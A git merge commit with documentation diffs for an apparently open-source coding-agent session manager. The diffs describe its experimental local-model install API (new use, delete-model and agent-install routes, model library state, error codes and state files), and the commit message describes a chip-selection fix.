Merge branch 'feat/local-model-skill-agents' into docs/local-models-wiki

Selecting a chip stored it for the device at once. Someone who clicked
"DeepSeek" (Needs setup) or "Pi" (Not installed) just to see what it
says then got a window that reopened on that chip: "Install Pi", or no
main button at all, with "Start a session" out of sight.

The device now remembers the agent a session was STARTED with, an
opening of the window selects it only while it can be started, and a
selection made in one opening does not carry into the next. Otherwise
the server's default agent is selected, as before.

Also: a real-browser test for the chips (they wrap inside the window at
1440, 390 and 320 px, the install command included, one tab stop), and
one sentence in the API reference: a readiness mark says the composer is
there, not that nothing else is (DeepSeek Harness's setup guide draws
the same glyph).

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>

CLAUDE.md

@@ -194,7 +194,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md`
 
-**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaveLine truncated
+**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime|agent`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalLine truncated
 
 **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
 
@@ -328,7 +328,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
 
 ## State Files
 
-All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back), `cli-installed` (empty, touched by `install.sh` when it installs a CLI: a running server reads only its mtime, and a change ends that CLI's negative-cache backoff) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all four installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the checked models of the library, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back), `cli-installed` (empty, touched by `install.sh` when it installs a CLI: a running server reads only its mtime, and a change ends that CLI's negative-cache backoff) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all four installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
 
 **Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 

docs/api-reference.md

@@ -1716,7 +1716,7 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
 
 ## Local model
 
-`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
+`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Eight verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, install one more agent CLI beside an installed model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
 
 **Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet.
 
@@ -1725,11 +1725,14 @@ Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before a
 | Method   | Path                       | Body                                             | Notes                                                                                                                                                                                                                                                  |
 | -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | `GET`    | `/api/local-model`         | none                                             | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe.                                                                                             |
-| `POST`   | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }`   | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`.                         |
+| `POST`   | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }`   | Starts the one install job and answers at once; the job runs on in the server. With a model installed it adds another one: the earlier model stays on disk, and the new one is the model in use when the job ends. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed` (this model at this context is the one in use), `size-changed`, `sessions-open`. |
+| `POST`   | `/api/local-model/use`     | `{ modelId }`                                    | Switches to a model of `install.library` whose `actions` list `use`. A job of the two steps `verify` and `connect`; nothing is downloaded. `400 INVALID_INPUT` when the model is not a checked model of the library, or no coding agent for it is installed. `409`: `job-running`, `wrong-state` (nothing is installed), `already-installed`, `sessions-open`. |
 | `POST`   | `/api/local-model/cancel`  | none                                             | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running.                                                                                                                                                |
 | `POST`   | `/api/local-model/resume`  | `{ newPort? }` (may be absent)                   | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model).                                                  |
 | `POST`   | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }`        | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). |
-| `DELETE` | `/api/local-model`         | `{ removeModel? }` (may be absent)               | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`.        |
+| `DELETE` | `/api/local-model`         | `{ removeModel? }` (may be absent)               | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the downloaded models (all of them) only with `removeModel: true`. With nothing installed it is what deletes the models an earlier Remove kept. `409`: `job-running`, `sessions-open`. |
+| `DELETE` | `/api/local-model/models`  | `{ modelId }`                                    | Deletes ONE model from the store, through the runtime. `modelId` is a model name (`name:tag`) of `install.library` whose `actions` list `delete`, never a path. `400 INVALID_INPUT` for a name that is not on this machine. `409`: `job-running`, `wrong-state` (nothing is installed), `model-active` (the model of the installation or of the current job), `runtime-not-running`. `500 OPERATION_FAILED` when the runtime did not delete it. |
+| `POST`   | `/api/local-model/agent`   | `{ cli }`                                        | Installs one more agent CLI beside an installed model and answers at once; the installer runs on in the server and `install.harnesses` says how it stands. `cli` is a row of `install.harnesses` whose `actions` list `install`; the server runs that row's `installCommand`, the release's own stock command, never text from the request. It is not a job: `install.state` stays `installed` whatever the installer does, sessions are not refused, and no live session is looked at. An agent that can already be started answers `200` with the view as it is. `400 INVALID_INPUT` for a CLI that is not a row of `install.harnesses`, or one that one command does not make startable (`setup-needed`). `409`: `job-running` (a job, or another agent install, is running), `wrong-state` (nothing is installed). |
 
 Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict:
 
@@ -1747,9 +1750,9 @@ Every verb answers `{ success: true, data: <install> }` with the `install` objec
 }
 ```
 
-`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix.
+`data.reason` is `job-running`, `already-installed` (the model is the one in use already), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model), `wrong-state`, `model-active` (a delete of the model in use: switch first, or remove everything) or `runtime-not-running` (a delete while the runtime is down: start it first). A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix.
 
-`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language.
+`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the feature names, the `507 OPERATION_FAILED` of a first install on a full disk and the `500 OPERATION_FAILED` of a delete the runtime refused carry their sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language.
 
 **Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw.
 
@@ -1775,22 +1778,26 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or
     - `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`;
     - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
     - `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
-    - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run.
+    - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run;
+    - `library?`: the model at this context is a checked model on this machine already (see `install.library`). `active`: it is the model in use. `ready`: `POST /api/local-model/use` switches to it, and nothing is downloaded. Absent otherwise.
   - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on).
 - `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
 - `install`: where the install stands and what can be done about it.
   - `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`.
-  - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed.
+  - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. A switch (`POST .../use`) is the two steps `verify` and `connect`.
   - `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue.
   - `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated.
-  - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen.
